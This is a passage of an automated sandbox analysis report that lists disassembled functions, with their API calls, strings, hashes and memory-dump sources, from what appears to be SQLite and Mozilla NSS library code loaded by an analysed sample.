Opcode Fuzzy Hash: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction Fuzzy Hash: 7222397160E3428FD714CE29CC903AAB7E6ABC5318F18462EE5D587B95E7319CC5C782

Function 6CA31C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA31D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA31EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CA31FB7

Strings

table, xrefs: 6CA31C8B
another row available, xrefs: 6CA32287
sqlite_temp_master, xrefs: 6CA31C5C
sqlite_master, xrefs: 6CA31C61
unknown error, xrefs: 6CA32291
unsupported file format, xrefs: 6CA32188
no more rows available, xrefs: 6CA32264
abort due to ROLLBACK, xrefs: 6CA32223
attached databases must use the same text encoding as main database, xrefs: 6CA320CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CA31F83

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 515739adcc8f81f564146a2f63253391cdba993ed12341a4d7719eac1dd2bd7c
Instruction ID: 1636e19282e1bd24aff133de4894112b054808cc300df788f50f16b8fd2eb78e
Opcode Fuzzy Hash: 515739adcc8f81f564146a2f63253391cdba993ed12341a4d7719eac1dd2bd7c
Instruction Fuzzy Hash: E612C3706083518FD705CF15C4A466AB7F2BF85318F18966DE989CBB52D731EC89CB82

Function 6CA55F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

u, xrefs: 6CA581DA
ON clause references tables to its right, xrefs: 6CA56BEC
2, xrefs: 6CA565B4
BINARY, xrefs: 6CA58708, 6CA58737, 6CA587B8
sub-select returns %d columns - expected %d, xrefs: 6CA5805F
-, xrefs: 6CA562F9
-, xrefs: 6CA56228
NOCASE, xrefs: 6CA58703

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 411ae7f93ce65cd188636e882c18428ac1823dca8159839c34888f34ff6cf085
Instruction ID: c12db0c6a25c7b6110e1d932cd065ba4cf5b734eefaa27acd08fafa21cfdfe7d
Opcode Fuzzy Hash: 411ae7f93ce65cd188636e882c18428ac1823dca8159839c34888f34ff6cf085
Instruction Fuzzy Hash: A543A274A183418FD304CF19C490B5AB7F2BF89318F58C66DE8999B752D731E896CB82

Function 6CAFEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CAFF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBC218C), ref: 6CAFF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CAFF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAFF210

Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA52F5
Part of subcall function 6CAA52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CAA530F
Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CAA5326
Part of subcall function 6CAA52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF227

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CAFF23E

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAFF3A8

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF3B3

Part of subcall function 6CAA2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CAA2D3C
Part of subcall function 6CAA2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA2D5F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction ID: bff71c8166ab8711b386ee96bb509b9ab878232f084c94baa05a96855796bd6e
Opcode Fuzzy Hash: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction Fuzzy Hash: CFD18DB6E012059FDB10CFA9DD80A9EB7F5EF48308F19812DE925A7711E771E886CB50

Function 6CB2DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002,00000000,?,6CB07FFA,00000002), ref: 6CB2DE33

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CB2D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CB2DE74,6CB07FFA,00000002,?,?,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002), ref: 6CB2D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002,00000000,?,6CB07FFA,00000002), ref: 6CB2DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CB2DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB2E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB2E121
PK11_FreeSymKey.NSS3(?), ref: 6CB2E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CB2E195
PR_GetCurrentThread.NSS3 ref: 6CB2E1FC

Part of subcall function 6CB22460: PR_SetError.NSS3(FFFFE005,00000000,6CBC7379,00000002,?), ref: 6CB22493

Strings

application data, xrefs: 6CB2DFE0
key, xrefs: 6CB2E046
early application data, xrefs: 6CB2DFC9
handshake data, xrefs: 6CB2DFF7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 1cb5c718fdf0fcf794e0371fd0617a3c37fbdaa76ff7821910ecc4f5fdd1540c
Instruction ID: 478ad645d7ff29e8e1c7669f43b85fedbee90f8ca2e59bfbd2193a789ef6ed44
Opcode Fuzzy Hash: 1cb5c718fdf0fcf794e0371fd0617a3c37fbdaa76ff7821910ecc4f5fdd1540c
Instruction Fuzzy Hash: 76C1E271A002959BDB14CF76DC80BBEB7B4FF08309F144138E90D9BA51E339A955CBA2

Function 6CA1ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CA1EF98

Strings

database corruption, xrefs: 6CA1F48D
%s at line %d of [%.10s], xrefs: 6CA1F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1F483

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction ID: 01a395191523c19a16a70c99783452429b59906f169996839c87e8a58edbc71b
Opcode Fuzzy Hash: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction Fuzzy Hash: 3662E174A082858FDB04CF69C884B9ABBB1BF45328F1C419DD8565BF92D735E8C6CB90

Function 6CABFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CABFD06

Part of subcall function 6CABF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CABF696
Part of subcall function 6CABF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CABF789
Part of subcall function 6CABF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CABF796
Part of subcall function 6CABF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CABF79F
Part of subcall function 6CABF670: SECITEM_DupItem_Util.NSS3 ref: 6CABF7F0

Part of subcall function 6CAE3440: PK11_GetAllTokens.NSS3 ref: 6CAE3481
Part of subcall function 6CAE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAE34A3
Part of subcall function 6CAE3440: TlsGetValue.KERNEL32 ref: 6CAE352E
Part of subcall function 6CAE3440: EnterCriticalSection.KERNEL32(?), ref: 6CAE3542
Part of subcall function 6CAE3440: PR_Unlock.NSS3(?), ref: 6CAE355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CABFDAD

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CABFE00

Part of subcall function 6CAEFD80: free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

Part of subcall function 6CADE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CADE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CABFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CABFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CABFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CAC0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CAC0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAC0044

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 30a462d0a65124f1f795427a593f7cc9ff105243443950dcaad8cb7db0cb43a6
Instruction ID: 782213e8b6ee577a81dfadbff46cf417b721748404c67b5dc5e4fe4ac1eb15f4
Opcode Fuzzy Hash: 30a462d0a65124f1f795427a593f7cc9ff105243443950dcaad8cb7db0cb43a6
Instruction Fuzzy Hash: D9B1B5796042019FE704CF29CC40A6AB7E9FF88308F59861DF99D97A41E770E994CB91

Function 6CAB7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CAB7DDC

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAB7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CAB7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CAB7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CAB7F98
PK11_FreeSymKey.NSS3(?), ref: 6CAB7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CAB8000

Part of subcall function 6CAD9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CAB7F0C,?,00000000,00000000,00000000,?), ref: 6CAD943B
Part of subcall function 6CAD9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CAD946B
Part of subcall function 6CAD9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CAD9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CAB811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CAB822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAB823C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: a4de0b759f2af1ce8c1972fd6677b0499ae40af169440c50fb13655c1234f41b
Instruction ID: 0022f60cccd69f409e73862668c707b0dade5e0ac97091652748b8754cd04c3a
Opcode Fuzzy Hash: a4de0b759f2af1ce8c1972fd6677b0499ae40af169440c50fb13655c1234f41b
Instruction Fuzzy Hash: B2C15DB1D402599BEB21CF18CD40BEAB7B9AF05348F0481A5E91DB6641E7719EC98FA0

Function 6CAC0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAC0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAC1006
PK11_FreeSymKey.NSS3(?), ref: 6CAC101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAC1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAC1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAC10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC112E

Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15B8
Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15C1
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC162E
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC1637

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction ID: 81e37c11e69b37abc4942c0a7dd9eca55136e22a247518f4d243eadbb6c7655d
Opcode Fuzzy Hash: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction Fuzzy Hash: 1071C0B1B002458FDB04CFA5DD84A6AB7F0FF48318F18862DEA1997711E731D989CB92

Function 6CAE1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAE1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAE2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAE228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAE23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAE241C

Strings

model, xrefs: 6CAE23CB, 6CAE23EC
token, xrefs: 6CAE1F2C
manufacturer, xrefs: 6CAE2179
serial, xrefs: 6CAE22A2

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 1706daff44eaf36e2adf05a92c7ca7e7dc0eaa2f82cec42ecb07b9462981b2bb
Instruction ID: fbb0d2d7e4d65b13272101f4e847251d36028ee79578f914e4804e19dea31ed2
Opcode Fuzzy Hash: 1706daff44eaf36e2adf05a92c7ca7e7dc0eaa2f82cec42ecb07b9462981b2bb
Instruction Fuzzy Hash: 3E0210A2E0C7C96EF7318671C44C3D77AE09B49328F0C166EC6DE46683C7A859C9A7D1

Function 6CAE6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C60
PR_ExplodeTime.NSS3(00000000,6CA91C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C94

Strings

gfff, xrefs: 6CAE6CF5
gfff, xrefs: 6CAE6CFD
gfff, xrefs: 6CAE6D30
gfff, xrefs: 6CAE6D9C
gfff, xrefs: 6CAE6D66

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction ID: 7d049e565a34465fcae1cacda9f078fe0dc481691af6e22d9f85e84a02c1f891
Opcode Fuzzy Hash: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction Fuzzy Hash: 64513A72B016494FC708CDADDC927DEB7DAABA8310F48C23AE442DB781D638D946C791

Function 6CB60F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB61027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB610B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB61353

Strings

-- , xrefs: 6CB60FF5
%02x, xrefs: 6CB612F6
zeroblob(%d), xrefs: 6CB61223
